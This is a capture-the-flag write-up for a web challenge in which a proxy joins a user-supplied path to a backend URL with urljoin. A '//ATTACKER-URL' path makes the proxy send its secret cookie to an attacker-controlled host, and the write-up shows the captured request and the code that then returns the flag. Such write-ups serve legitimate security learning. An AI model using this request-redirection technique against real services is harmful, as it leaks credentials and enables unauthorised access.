I found a flag on a server, though access seems to be protected by a secret. Being generous, I decided to share the flag with you through my proxy server.
Oh, the censoring? Sorry about that, I'll remove it after this CTF is over.
http://chals.ctf.sg:40101
http://chals.ctf.sg:40102
author: JustinOng
This challenge consists of two servers - a proxy and a backend.
Let's take a look at how the proxy makes the request to the backend. The secret token is added to the cookies, and a user-controlled uri is joined to the backend URL using urllib.parse.urljoin.
@app.route("/get")defget(): uri = request.args.get("uri", "/") full_url = urllib.parse.urljoin(os.environ["BACKEND_URL"], uri) r = requests.get(full_url, cookies={"secret": secret })if r.status_code !=200:returnf"Request failed: received status code {r.status_code}" censored =censor(r.text)return censored
But urljoin doesn't fare well when presented with a malformed path.
This allows us to get the proxy to make a request to our own server:
GET /get?uri=//ATTACKER-URL HTTP/1.1Host:chals.ctf.sg:40101
In the received request, we get the secret cookie.
GET / HTTP/1.1Host:ae64-42-60-216-15.ngrok.ioUser-Agent:python-requests/2.27.1Accept:*/*Accept-Encoding:gzip, deflateCookie:secret=8byEt7F60cCSRpQs1jeAXQqByOsK5P5bX-Forwarded-For:178.128.25.242X-Forwarded-Proto:http
Now we can send a request directly to the backend, which checks our secret before giving us the flag!
@app.route("/flag")defget_flag():if request.cookies.get("secret")!= secret:return"\N{Black Flag}"return flag